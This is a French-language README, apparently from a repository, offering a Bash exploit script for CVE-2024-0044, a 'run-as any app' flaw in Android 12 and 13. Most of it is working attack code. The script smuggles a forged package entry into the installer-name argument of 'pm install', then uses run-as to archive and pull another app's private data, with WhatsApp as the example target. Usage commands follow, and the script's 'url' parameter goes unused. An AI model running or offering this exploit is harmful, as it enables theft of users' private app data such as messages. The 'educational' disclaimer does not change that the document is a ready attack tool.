CVE-2024-0044-

CVE-2024-0044 : une vulnérabilité de gravité élevée « run-as any app » affectant les versions Android 12 et 13

Script d'exploitation CVE-2024-0044

Ce script Bash démontre comment exploiter CVE-2024-0044. Uniquement à des fins éducatives et de test.

Prérequis

ADB (Android Debug Bridge) installé et configuré
Un appareil Android connecté avec le débogage USB activé

Code du script

#!/bin/bash

# Function to exploit CVE-2024-0044
exploit_cve_2024_0044() {
    local url=$1
    local package_name=$2
    local apk_path=$3

    # Generate payload
    local payload="PAYLOAD=\"@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null\"
pm install -i \"\$PAYLOAD\" /data/local/tmp/$(basename $apk_path)"

    # Push APK to device
    adb push "$apk_path" /data/local/tmp/

    # Execute payload
    adb shell <<< "$payload"

    # Create temporary directory
    adb shell "mkdir /data/local/tmp/wa/"
    adb shell "touch /data/local/tmp/wa/wa.tar"
    adb shell "chmod -R 0777 /data/local/tmp/wa/"

    # Archive target application's data
    adb shell "run-as victim tar -cf /data/local/tmp/wa/wa.tar $package_name"

    # Pull data
    adb pull "/data/local/tmp/wa/wa.tar" "wa_data.tar"
}

# Usage
if [[ $# -ne 3 ]]; then
    echo "Usage: $0 <url> <package_name> <apk_path>"
    echo "Example: $0 https://web.whatsapp.com/ com.whatsapp /path/to/apk.apk"
    exit 1
fi

exploit_cve_2024_0044 "$1" "$2" "$3"

commandes

chmod +x exploit_cve_2024_0044.sh
./exploit_cve_2024_0044.sh <url> <package_name> <apk_path>

Paramètres

Remplacez https://web.whatsapp.com/ par l'URL cible réelle.
Remplacez com.whatsapp par le nom du package cible.
Remplacez /path/to/apk.apk par le chemin vers le fichier APK.

CVE-2024-0044